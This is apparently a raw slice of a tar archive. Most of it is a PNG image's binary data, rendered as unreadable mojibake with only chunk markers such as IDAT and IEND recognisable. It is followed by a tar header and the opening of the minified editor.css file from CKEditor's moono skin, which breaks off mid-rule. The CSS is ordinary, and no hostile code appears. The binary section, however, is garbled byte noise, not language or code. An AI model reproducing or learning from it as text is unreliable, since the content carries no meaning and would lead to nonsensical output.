Fcཝ;<,3Ze (;BvX>u. $}}?B0b xFRZ_d{~kb xݐ&K4>jҥc<<,_ Q*=?ٖ|ӧ1HP8ʊ.P_}uzӍ7J^ztyI .&ioSq6}'y'mܸQڰat2m۞'/{U9<uC Tb8BO 4:DTMZ0Do_g=Oe_p'f9N$	>ӫ~W^{3 FGGe˖TK0p8'ORJ߁:/82^/{oGO.'$|8aۡ,RM@f<0z꒟}93$sk;OZxT\\_Ql/mlnVyT__/QJwdpjjY*((Rz*!g3nhҌ3qH6=I^]=rw<@)SJ2~A5k44aM΂əRCol.5L2^	I _;'A]P~o۷_].C*z(53 P<&0`ODJf&IyJ~dZkfCC0%AlF˅]w{a$">>6CD7GMD B@|]0!1sb2.m|L)䧞bdJo;9d`uc &3J)n 'In<|8ki&!quŲ,?t@V"O* p6mQYY[ KUcM+	('JJ@T_)OBgw	`ڵ(Zz kǣΝ5+?:ѬȘ̐χo(uxJ Q
kq<r[ױcII/DWdTȓJy%S?Ce'tId5	3mjxw ~Fӝ	$"""	df Sho7mقY55t1+ͬ6B0-###3gNJByVas  Pi$B%#ӃS5{6QSW r-ML]Uc;u6.}P%P*%%4[֬+rDdLF Y΂Lg0'eu Npj?eXdҝw(0@1AH>VZiFqpUTyc ɜM前B8)׀0` C_`}/0C_`}.	C_`0`dj !tkuJ:>iv:߿쪫$ $.E/O,3}_>-˗0YO~v\n ~E?x@ &)qFZӦM~~L+/e@&a/_i)i	~?xA cak+gͺڪfμa`0ӧ'-?ëU5k̮'GykTG*V{ Ϫx"$Q%חL,/YBR#?h=^}8BPĵ0xVf{0*.`)q_4<cxdϽB1{&@x6xy֮Ys1gƪκ]XAK#3/2?L]FW xUV1 &q8p ܶ`E^| VBBMg=?VUV].8Z~':;}8  !ܣWnƫ!E }kG*i Cy9UďX}~(xDQn?#f ܘ\&_1oZES%A84o
 xBF.}jcTt)Ց|BcxL[eh~B4Kà 2ô Hd=[5Vwt8AEoo<{Th    IDATfΜٵo߾JaɄi	3Y*.Y.IFGFpرkE p˖-sT0[,x7@$p>qjT`rmNs$Xdmb6{`e-PA,-Eu_n:Bs @)m0 k{{&P [jUjBͯ};;;{AUW_.* B. -^BkttT~jnjzutxw(@m/hjkV^-uq4
}}[ZZ3V |C'oy˗KgYw޽o/\H:s$(N@Ca~>p?9(ҪP((!eZ򖔔@e_أ󶴴T~hO}BnaBȗ	!/BjӦ[Lfsi02>e7a8㌓y׮[wfsb9)jf"Ξ-@Xj=hbr_=⽖f֬0\ vѽhbiZU՘GHEI)=nO7Λ'ihJʤ55&RmE)NRJq1$͞3G*.)jjkf\wF)RRjASJ+++nw`;ﾻR'
2؟ÇQmդ#PN)C*"oU<y(SVUPQDݥhyIgT0`(C_`}/0
SC_0C_`}/00`r1}ԑE' |nJ	,?,iY[8SRس_~9wI9S ( i~Cs~f~C*ѨrNegkrp{KK)!x7MyvktF{;Xe9ђ0	صe)̒Pw(. #k;?we/ *Mc|c@ ~>6M+^F?we Ls朞_[[c!nODw
$;(bg_DRo ]v><viU,KWT	x,RmtAGGrBXm63r(Ÿםk4Lj$P
͖p	 =! 7$YzBXDz\J	zHS:KbL$]O4Ó(Szh<6P iB+֬i;|$}P
ł/	`.4wږvd¶EΌ3;Omii?%߈ĘכK 1
:!O
 ĸYYcE.LI	!jS͛W2!)lwԉ/?.H{:zNtϾd9fMwϙb$A1` Z@\	t7xN3S NҒ`E/Ah.XގW_xz
]1IRL*+QeZBYxTnIR9s55c$AŜ9RE]]*ꤊ9s"F8e˖] j%	&DY_&RRڙ-+(];{6Y_gS`wxaJiX*{vWE>Nqnbo(bzUh5+|z=A1+DЏ3 )Ǽ0`AC_``}/C_`}/0 }A0`ozoW@rqP<uuL0	 ٳ]ǎzYq57CEȒ'( 8z=|+[zs KRR9Unh>' a,aDQ+h?;wKaP0%I
ba


GJ$#r2('xǩѝ;v]xڙ36[RM(..vQBg&)Z$!B%hhn˗|Ga2Rdռ1h5j`4Yѱ1l{ K!|ꗿuK(C% D).b"jQ,xZU<PYY7*}S\$ҹDQwo-3G<cx<M{3z"I`s_Sf](;GFwaa6-ʊ#6济sͳâE>k4g델)KBƆVE3BE/b 6W^Rr[8[>JtԕW@eAH.BO0xڅ-- \U3kk1yDњyXv˵=kdt4@+r[ ,#<jBH}}}(/6L<}p8f6@bnGUU|>֭_"A)~qo2 бrxW߿w?LQI)1Heˤ"hG3(?:p ńYm5}. 썪YuuuflË":vbZ 2eT$}>\xFzG s6ovܹ7wh DzB4.^P
Ap<Y'I7p `Zaw80߿jXCcQkkseEf3!E'{Ķ6MpCÇf:U9.ugy&h@y!aX/!zP#@0ȄBiOCm<}oq!MP=ͭ +~;4)n%L׿n%DT^RJ_0HrK/EIME Y*,ftڴQ(x  ]uQCKepiӧzԩ5F^k~qZYxkX8oRbfܚjVya{jʒsVWWVVS(k,˰Z,q܉.׾6888@  Aq., ^ߟڸD%.(EEE8<c`` ַ"z46Bnf9<koSpnϞaBE6xட|?SZl-1KH`9M[,p	!		)e(KɖRR;z2s10`0u[
_kWR0{/C ׬\!
6Lyy[-(W[jOEAXbŹPnL){ے%DAP*RΘ  pey.)bmJQ?oΪOheM^TeYjXϋIhr_WׅSE`QҥDA@8nV@  ^`Xl	l(+$+G|M> @E8F~Ɇmɒ+i+%<}͞P(k:UU@1%M
nۓ,"(2gI7lN;3&WZR
Q Ja2|z Bu1hXD-oHWneEUٹr	 nW9RȒ"|O*8 dKQa!}ii)JKJPZZ
'$/\x6xhϤ,^QV\MV	f3rPw&B3Ͳz磣P5}:ËbDŲ,N[n-/+s'˨mh|C8{8-[ *x믿 lAa Xɲ,B0oΜc|1NND29sjD VZ5(w#z}81L`U LA0@ ߲e @׭]{`
2oj uzyRuAUIYم{z7FXG56WJV{fqՍ 1EgY}2(2ԫ3'Dٞy硗ne,rvln:{8PJJ)5ük{BkyS%6[S4_;|($h+$B@E 	ŀ0`@@VX_$R	aA
)IED_9Y+׀ǃ7zjJ[:S.;/Oז<Wh6^/v=\_썁\<e8Y;J!2^cqe9,5θT0LƃxC0N6xQH:R:2"Q1
~?Ce ӽOP$f@FIZy	1u&

afI}+%	GFNހ0`>;RuW^|`0f4b3o(30?	1>Bxq)ۜv,y%	VRCdP\j0B#R&q1]@ `b͙s_kS `}9t ~?`8Nc,Iq:o^yG~~>V\	t&=)CbDvFqۍ!A|=h|'{zz0:2ёo>9ځN04oל}9۷}}9oL@|=ttH-RT:f3g)_O1 ů0 |Y˨RUR̙3ߵ c|=h䨎~cr8>o͚*ٌ>u r\1[$ܾ,a <V,Ybv?(ׄ$`TII	#P#$.,(@Hu#
֬\Yj` u ,BcUm/;V#54(>jkJeqʕ:TNQ[ n~\G/X`VZ;摸ְZ_^mGyNۯu٬>R]X^AAl}З-vՊ%=Bk*xFGu! K؇ѦlY,T=KD%EEXzuHaa!lV+Ae̞=4øx8Vcc鿜9}zo1mB0Aq&PLK{ƃ<%MMvQUS*fC˶F )]h3,B rt\E"0lɆ(@8lhN0`00i
}G-_.Ϛu<ޘTUVbZn8O :D[y­Z&*Wdc0.8,[<9*U-JRlHM	!XVe'A]Dq-@Eq
ʰxD>CꜸ߶8;IE?	~	Y0sRzhmkKh"={"1iLxUaZ04Ot E]\4!?Zvlذ~~}=f邆&&sGE>:]:>¡~?ڗ.EP @-}Pg`fcze(&N:'JJtw=~Y(ڒz6D]*{SJWSJOe"{Lb̙@Bȫ&zώ@V΃2
t&Lڳ qkzuh|NJ e`YM}}I]cLiB̘DQ)QX]-qnZ\-'g
:s?}/81	0`05%fA|\ì /o-[j 4~*
7'F@;G80830bzv(( f55D>55Hx+#d`X##h4 !|RJt7#)1 OP6!)tr'	%M hB@kk[[`XCcc8~(!Fs  !!bl(y<ҎӛUvNΜm=/oj98y 4nBvB$:mnf0ý 8 ̝ߤ!ŐǃcCRN8Ww׭[Bz51ׁ}~(;l
DhOHhz	T! Wbv*ׁ? cbEx|̙`ߏӧuOKr)[exu]N}@S˫u Bn@zz2pHω.ŘRH>EqJɾj4"@ @ !Xvm~=?1PJ;'*c""ðQ0`L5þ/T+"i/P\<ʾ mm׀aК@qPw=__6[v (?&l_#/#@l6eY65Z'\qW̙3eANۿ>SJe9ABIYa2ya2äd[W09@ۓ>;}A00``Sx֬'t!ɴrTUVN	 秔@z~9:|g;T!F8w2Q2"I_P$9 ErZ<jCD՛D<qcR}Ҋ2a %YHBHL(٩Hq)LeDW:jSU(-0犣[qugՊ[f#}I)?Wjhʉ邅y@ L)>HZ=`:]N'~zW9|X)^K6l92$cD")ĀRJ)=iٲpC{{tz$}o҅Py:~!%i|pց1Q=TK/O`Rցl)(Dh@_wwT:J_E@Ѥģ Skii擎N c-dpBV׀a_`0`g zDXLjL+(#FEGG}B->c L,<$	>']yq=HbL#GEzt?=)ŭ睇)=##xRN$!2)SSgD,'A)D)FߌYٛ˗Y	C?)PJ"/ʺB@(D 80,h$RB	7jbMI}!qb0IŇHIErlq0`0sǴr\YN)Lv=~ k:;a,Q
OR6tO}wӚ\n7L/CC3B B"$K zeY@rD$<v\.WiGe%qq.@ǤFķ-bPJ9(24
(EqŘşg_4oBTb2e<(N&TK1/GxQ!eVdYPweT>>ҵ@DK{lnFuI$bXPBN}1i~mњEyLHy.0D$?VStς SI SWaW60`|&0r/T/1ldL [L0iOe+},}A^ ƇzZOO@N^ I	L}ARf)M6KgAFhR"vطvG    IDATsgFy&ݾER&b_@Ô͂Lӳ R&þ@D?&վ@#N}0`|}r>6Yz	L^!g92G)&KS'7H:4;3% 4ll2GED~T#!2G)xņ͸hd(*'7LςxL!㕰yRTOL?d#d31UzK*=gr|6,&j\{!+D@ OQG60`|,W5 : 0 Fbдۮ?M p(**zNƁP* {rmXzψu	affn~c# K$uO pJ XwRÁwvG(XN涙3f1k,ȒQm'(c,A>,FX X~D3,(q8zJZ׷RepRB " de$ID)ckWW	$I/ a*AU)E8TIxAJ)DI%MH@!"F [PJ!IRLT	n"rݲ>'% J1Ԅqq1oVZ  tMI]P$Ip-&7Ӷ@'
Z-vN jYUkL7Q()4r,CVXE Y,L&8`,nχGJH),P^=VȊ+v?/~Gn^gs:襘rL&zo~3(~###}ssP)`hx&3pT>@pwǪٳOp8 IpZ1<N  `z=z /Z$w7^F)
|㷿۷C)RJ[RVpqւҬRˣ)npB#4!kϵ--RmKK@ʥRjР^] sf	 ۧFBH ]	'N TSo9ݳ`5dXԬhgCcb0  g`\'7L1|9s*M{zpIGG +6nl6$QʁXòzݷO?d^}|	bX,w,ZW_ߜ
<êǟ[!1(@ߘ8ڰdbѣ}|e;;y{  pln[_o]ގA?R2va)$aTO3gRj_*"AyY@(9їF @E~If$<!(Ϗp,W5,)[ $A$0\q, Y"QrTVMh*Ea2rb)[ ~N 4jAƳ@Sbix@.uQTQeabNeY0F=J "TL)HT ׋'#s>]vz-&
չ<XVL&0Қ\"*4>FoQ߽{/}KBd(<ϻ.RϚ#Gڠ($UT h@}o}WlXl6ò,DQ9{ j:ˉBÔ6JT~0J?}w~>xR}de%)RJI3)Pu	$4C<?W۠t >V1НUztigT#'NSoxy'N0`Yln(Z4ߣ{tjY*Te3g꒒XVp,seY8N|?} 7ﶦyVM$B!<<wEŲ,Y[k_lK0&ڼb066y<2K2<L@x2Ab-m+x7ٲ-wr]ݮޤ3Wrԭ[:{ιr
;<P~;+|D)Qxb~bc#?_xqBJ
+Q{{{߂oUh=ly] RۄѣG \5kikk3Ɯuk>M@q.j;60Z꧄ARp:p:P#]jOoZjE@NII_ر;oBM'7enE/jHKKؽJB Omnn>u¥˧OOI|ĉ<~ VVɓ'x1q=nDZTFʯn YY,|21烏eTnVi4!3c^NXq<7USS<<nIXz{:ar -[q[Zb[Rd2!++&	 t:g3:$dd @+0tg"뗫VkV>=+@tw[WWwvv򝝝|]]]yRJwIkVVxO?s[xg x<llֿ_k_qaa˗?c(+(}EEEUXX?O<DwaaaEEE|~A>VȊJ)H)j՗_^zz_dIw,Yҭt><`+--V}IFEƊB$+QlJXKX|+P@
(P@
D2֬L|7ȑf|ۍ;~|38.6_0w|W_,NaDaD~w^}ՏZΟ/=okn֭[֮]/1c`6S@YVhѢH/`vv=,ZhZ4H`W:vl;|ڔOS	_ =i0u`p_~e/h:ŋ=T56|AQy9>b/,+r6>NV|Afv68K	_tڲIrfffN].a=!555 btug)Y  4 hx- !(͂Z{dL:u贴M/˃Əgju_`0`4'+.c>56?KR5|iR5W"N'dffO>R:С Nf溭SJe/2y k(E#=u}w.ZLEAܱpa7ާ X={̬,wFfT 뮻*	_ N XqcCeu~%=`X/J;1c4eʺ6Qv4 _~YZZd3Wf&YR#J@aQё3gwq?fX7kkO:ܼMʒ0x@T/K #PF K֒ʴ4|{b|iӦf	!vra p) D*^=^,k<F
JiVyeѣFuK-Ϝ=+̿7_կ6r 1kq1<<h4Z4ڳGp: xOZ G_VT<f-.F?ZΜ9spyKJ	ɓ}R:0:'-·wtL//*pYwpe \ܓ'O={K?׿{%%%[;RʈiY8 B]#;S-aSqIz@J)B)VHxRÄ袔֥q
(P@
j)kE¯OU`5>"Mu:txJ6twE*KXž]q\+<0;֯c=!dNo{߻W+:  Z= #͜rrɲ(?DE3xBo~o_0)S N ]B@Ėص+"9=#Pn8؝Ngd@L0׭k掯s5~uK<FX=zѣG<)sc@)-\Tv.QB3ſoN
K/(./G>x g{dEZ@c}%+3 ?0p03!:,::Ht䠳ͲO^@jr񖼼0Sp7vbH:>Dn6J"*lSW#~/,,<?88a6
_9sF^T=[Z22fKp\_68xsVCÒ~СCW:tՒ~68j@
(P@#ԬgOJ?R!8Y}HT!@~`d<C GY+ˮr$L!@"Bd)_#"HVCVCE߯
(P@
(KS lW {I߇'F*(L&O~]; I0[x]0a9ߤFVؐ;Y鯏b qU8HHzOT ؜Nhd#>E:\WT	!YBJaTDܩF#;"<t w(DI	Qߴ h
 7Hj(WOD 1";XˡQ`4fs3.<[T̈́ԌYf\/dC9UTt:xevX:a@__|jjX,TO|7l&dYL
9tNsĒxzڵ4  G)ܒ72O܄F@
(P@!p$IZ`sGvt3fIЮ@ n_U r1 fqcFƑt'%_q+pz<P37*j̈́9BSIa[1iWwG3QLNFJ@4)qϪOD#!=|YM[,z6<6VA\@cKjh,Nϟ"148'N߰1rps%8EWVC׻zTAnS~
(P@7MsL*pBx>W ~-zJR\.|g*@+Nm6CVP=|'8 hGeݽd
^Fe X;S	PP?2wϲ=sxSJA)]{<˂H/u"R!8^R7BO	 _Ĕ/@Âj4u-^h4\a7y<W (  3=]}QBaٽtu `>i= f`Y,˂shz5 ߏ{M+RY |pĉ9n˲; {xXo&Ѓ,nȑ#_8q!-$zlhh᯿+))UUUl!\v=y\>/#񵣔8l6;vlӧ PN9VO;*_lͧOr|F3 |appG 6uZ>MljSZVVYAA4jpom6ٲ%n9c@09vϟɓ'犍/?2k E=tȣ-//z?n\Dqhyy9}GRJbXmEDWo<q]gL	)D(y[~ElP "@?>ǁwÁˇ9|3O Wq\EaԨn23|:`thjn]kGJJ*+_}Z@RARATЪ4J@VcnkK*+_C2,V0)Qo `XՍuuq,-R_xuuJ*+WZ Qo66>(U[ssq?)+-/]AݻOa2q[FZ0T*N:xKplϞе
xCYIkq۝N'.^yL O?/teYe%%x_q8.xt?ǖ//i OGϟ?/8ΈzX.X*s\ovq%/te*_Ta˖U_ts$I |^/~睃-p;!hi/ZT;zA= HGJ#>* W,
GT*Uț["@p"r\p:`5IE @bQUu$FMQ >庞7FÛ* J)JyGBf)J;XAX6t6HD^w*+§kz^HDoF
(P׏DwټX+ќQJ8,L`66		b޽رqv8 Ί`jknKp8B.˥Uj%ʅz Z)ޚC	mt1y24$j`EQ
unؿ_C)ex	嗗RxEr֮]cMmt:rB.	ͦ;6𽑽vZn|mErD"z|ﾋ4& {)Ŗ-ШQ$V̙ݯ~E nt͏R܏33(RZ<IHURJϘAg̈؎G<_IBqI آ\_xWRD(<^/x?Qr0zA98-1o</_=>R:1o<g_ Aȉ"k!9=--A`!H1"3;:dA4#H{M	n JCZ-\Gӎ_ 0]VxuuMDƆO>Ij1	ylZWtר (@ZZ}ŅDYAxw>8GB9HM' s1n4 uF{@:86tc
5;A$$"4kf  L}?sӤQQ ! ~z= <WY[luU c?|fv3㾆riT*>[QQ^<a_]Qlxv0!%:
P[\8p ~ܸgV,Ra<tj52Ѣ>FmfeO&yZ-,8!	|Đ+8}vml ][xJ0k\׿uM@ ++5G^YWY)-`-Zq(/\<Gp(*/Wj
b4"`aO *MFƗֲ2
DOj22'Q>K)͊{ax\[
c,Yǡ_ԗ;`x22JOv/h) L xre(P@c8PwtSo*4Wb=رqc p]> ~Bu5t8vn36q:̄j~%C|Zoʇ8u    IDAT9 ;mӈ|?sdab<?_2S[ZXP]w_MD"|=wߝSSU5O}\fhh1yz~jA"|A~e	N	 <~@ƥy4͜.^|}ĥd8cBi--3j^ ;Rat2^]\@Z)c
p#pa <D#qwdyAH$hI6%	!flWXF/Nh2+P
B):NgӎM^0UVxTӟ5RgKNB҃М^,@WtY	I ռBc ռBdDaaw@3'CHMן< xb
+%DxAp';"RWXW	z6adx~ܸ
' |Wx>WX$ Nhh*a(DVUcE;fWQtax.׎G+Ji_Eu5-,.N *+ayee|_` ώ9ӦfF<A4c8~n"VdQn_vXW(.-=(SJ@+i}w+$W㓮.]M10
@
(H)kա{ix`Z{;˾Mn,_0q:A p9Nf|*MM9޾=45A0 j۾"Lnnf	Ճ}Y/8l6trv^"g٘yyA>VW'TU]_ZD- WS"{ߜ:uر|f:etJSL>NlnSo0}
b '9`(*7N)_ښWV ju sH}A7; 1ܾ`D0 B^/eSDyp=^Z_h'ZKN8 /p<Lf3 a2=Y-!QMX= B[_lZz6烏pf˩ <YƄP/8 3g e7ę[Xĩ!x!^ '^XeJF>G0hhP5#I[݁/;|Qb鰄5|{Z8/z].Le_0[^>l`lyy8/ZJcJ{lF ?uTf۾@b<@iEUgdy rl{~/^q	T

> }
(P@ABP/Pl )/`)EB|h47ľ+	] JpXFr^RiF6n/?&}A
>8%B'S+˾ ۖ~R+$=iy-,R+"ectA}He{@c5.9-=VsFo [VX6&^>BMM\P/	qy}U55j/H5 k_paL:u0b=Ϗؾ VƵ/H5}U(P@
!ڞa5yIJ YʊoyaRbP}/ŨzO|+|z(9--/޽gΨmhJ2fdf;R իW)pvkX|IMI T y͇!G+H'TX A_elggg@H<Á{i zz5.+ !1ӛ1cYSBPDATMP> 5Ɓe(JCn̙7@KHKKgsHH;<!$b0VUR\8?b=`lwxP^Y%Ye^ $ `Ű=`?!ԍ@;U:X6{{F8L3@|>X(7C9Fy.f9ǧD1cf9x.%2&Xc !J)Xl;bԗ/a:-fs0m m֨Qi &3rr71ynN}nG?!r7Z&NDiU0!jMS&MRxfgee񙙙|]JxFJ^{;klG.05{6Ɨ.KqPJEyL)R|3w.?ʺ6w<?F)RR쁨^JX0rU& }ᇻ~_NasGooou&!?PN,>E(۝Edo%>	!pŋyx^? :a|C&&0 |j@3eʔ>HܹB 1a:>Go<iR)ǲ8wܙ?Q\\TO;}ڃh:,[ny8yk׮2*wWn./?p,`ej333(((SJ3<8ZmjOPJ{ϟ$--$=)bRlt6@
(P-^yB0s嵵+a"|!0`HJWTT0?9g~%s%+˙;.4c	w+͟O_{WT06ϛ߾@qkE
뮻b2 8T7^T^w<|#๢rs,ۥI'wv&.1'=o}F8 4utЦ>0a?0,]
ۥv4 d9.pF8V/D;4YԨPJAZ5_S!od>4vS ~N*g D;qNmn~"ch>}`x@qMHT+:t=*x^_QAZdtO8'E	@)Sב5紷7Ɛ:}mĽ[,9Bvv6:ZUz}7$j>$7!A[ :y:Zf!]"~NѨ1( <%. C,& eema58;w~r|ΡÇeYL&joNEV΄1ȈZ ĵ_<	?"<D)G y 6L\ p_mzz~fÆm.<ǏT[z7jA_~	v* :gh4")!vkӺue^XK5 .65ϨT(թ5\n8iQ!ىh?rW%C{&BߎE]Y	ߵk(-20pS *@6gl38uh^)1ÎnJ6aʓ	5Ѣ'F#KD}BK:
6ۓ}l2,QR\RY,xDА:XR
(P@A". w-."sz=\v;\h\ !:i8#2Wm6lX.J~].ѣI	! q`/}A˲?	!덇'* ˗B3 dcBN!7RXe*x*+Ϝ8WE/@ޞBOP_& V^ +DA֛oEgϛG99Q#|O'Q,]L0!B4hz0	B8lDQI^  ٥O7kjU~Cژ7$&@2Vxd~PUE*ڹsg% <!BT1G;

zN`~~>:0z: !>6%adxl^֚)ݲeI ٘ެ5!'* cR(tt4ffdvcjشk͚gX0Ng6 P1EBhNmV{{d˲8t?xGM;w~8谦eemPd1b#nx49J O@ 2 ah KV֛ z9p8_~	F#)R6ԏ_<l.fÆzz~ lA4de?ܴnv!-- ---CN8H;1lND2q6lݸq5mP:n\] ʨTfoJ$-q\ND	v?4tI{MJ-;Q|cGKfiiҕ+m2  D 1^}3a<yDfDnoO@p7'*	i1(P@
DAvÅOp\ `bA !Pa{7FyA@HQ=)(~W::`pt"aITc/ \.W6CRh4b  l6[Jeddd2AqѽiŚ mRt~\~`{ nw 4`J,㠦XQ
4LF,3)%u$IPkp>M5/P	$J$N,-o)	}N@sT>"jԈ= 	|:񸿚ns_~=LJz0gBFIp)h4+%HU>hիطwo,1nx oII	̈́55	p櫪  _`&$j5($xHLhWMe!3!
z&[gB|^/O3@MI>-ɡU+^!ISaB)le r46d [<OQ@
(P@d`?_ ij1ᕴoZ emy;߱|RYվ=mi&8z_jmY23z|@
xX *mB?*' ӠRn-).ǲ!<`kE;*-?u*iON {1t!ШT(,.^p: ~' p> J~Zmu581 f4-JZJ8N8N|{2?.x?a,AϚe˲"Y@OD_tJBaΝ|7!{Ćی.pׁc]8<KZjvgPpf_(+/=z|zz:t:JhH<DD_J)JG?:3 dOOmeU^fAz<lp:p\e|XW! !
 9ܜaZ,G <Os.#|vhhH4j^FFR|?Nf Gਫ?Jeee`0@%0׋sȑ#rf|vv6c6qYߡ@<<47X.??ߜZχS8}R[_-uFF>{ ږ
a׽3f́	&---|̙& Z(k(,3l+))qN6o,qPJ倫QJxkh++(.J)dL^-)ĊRzh<NxCB)>Խfݺ %-X	CyJ<fL|#4~M~ICΧ^ bEJirzX 
(P@
(P t29kEƈJJKwcg nj
,ZL>}%j 4 `}>x^4ŋyCk.f{m$0@%@Vi@)N@4XexsgDYCڇ4Q{aiP
)b&Z[*n7o^3 ~p xYvgMe%3&'f	f	aAXE&EkZGbR go5&ӋSq@^r7&x<,[oD4(p9cW_nYu/&54gYP҆wz144+W|ӣ$8g y/N+	\<JT7q\.[aҤI[w9.,e,<N'G)=U`)_|)+++fÙ3go۾}~_5BmmYqpի˲<﹞~Z9:.Hdn|~:j<BB^Cim6\v{{{. l"K{[n?+BFi?6#`ECR)Z]ͷ̜ɷ&LǌsCRkHp0ٯwQ1Vi,WVu|Aa!ҥݢ&}ʄ%ck֭I)uSJh!}v63Ϟ9 
C$~SJRژL91;r<9*	()QdҊOn)P@
(P@/P/P//P(|ABP/P
(P@
(/HG#R)D?"4MBH
(P@"<Ԯ\!HFSlvec}=6r(h0A>`D<WZ]Y0>>`;́E ϕTV./g\0и-NǢQgxU?o|oTy޼甈9kE
뮻b2 !!7 
3#x|eyI	s%xx58D7wΚE_{au;;%0ͣoֈ!@G0a` YfK-dAr|P!* įh<FB.-}*iا >ZTdY  8}'NߩUUT?MӧP㺒2CT+:tz^_QAZdtO?/d!b>5紷7Ɛ:}mĽ[,9Bvv6:ZUz}7@azb (י;fY,8n_ך57/wFѸ@);D!	 Ҳpw?`SD!C#˲0L^	n V 6ג ':I,"CT/(<zeׂ5ɚ\?Rm4n_5@wVW [~8햵Ɖ* ;p:!ӣhR
`Ⱥ֖rMPzCITqaD(5ϨT(թ5\n8iQ!ى(`"wtw\UI$kz]=oG.FqG5RTT_8sԩYS	U'_gԩ&U_0MiL@`Dhd)cYF NDS`cوߣDF0ѸD!.L8!".	Xz(P@
d,k  IDATNc{9wߍ..4m4.V4{Xs0 tD^͆%\SG&%D ǁx$vK|²,?d <}xBD@D>bA>x}<}XBBD$A+-{
{=
3'N"A+^!xwҕ==1`GB,_2zj@\!BM(OPJoEgϛG99Q#Br25?ҥ	+Du]<A@ǁ׶ :M"7  .-}
_S1!!Zm($PMiUoilSe2aJܹ3 !T*1r:]3}|gQA^/p:ֶ!] 1JX  [wwfggt
{lYH<}mCvktv6洷7kMnHNG	
@Lh613#N7o^?$EvuYv,f GO BWZm^i2,>p8ޑgݻ8;:iYY YLxA 49J O@dh KV֛ zíspLׯ_vA@muuwȑ)P[Ǐy6KXa}==?k6[r@ihpӺu.Vj49{tk tK-mH°aƍljq	eVF5sW,P'iAb.p 
OkGwKlTj5.nTH~?W;vdv~tA[o<DE ޺";)  Acdgx)7s'*	ܖ$ HnOU (<
(Py    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        editors/acyeditor/acyeditor/ckeditor/skins/moono/editor.css                                         0000705                 00000107217 15242051521 0020250 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px 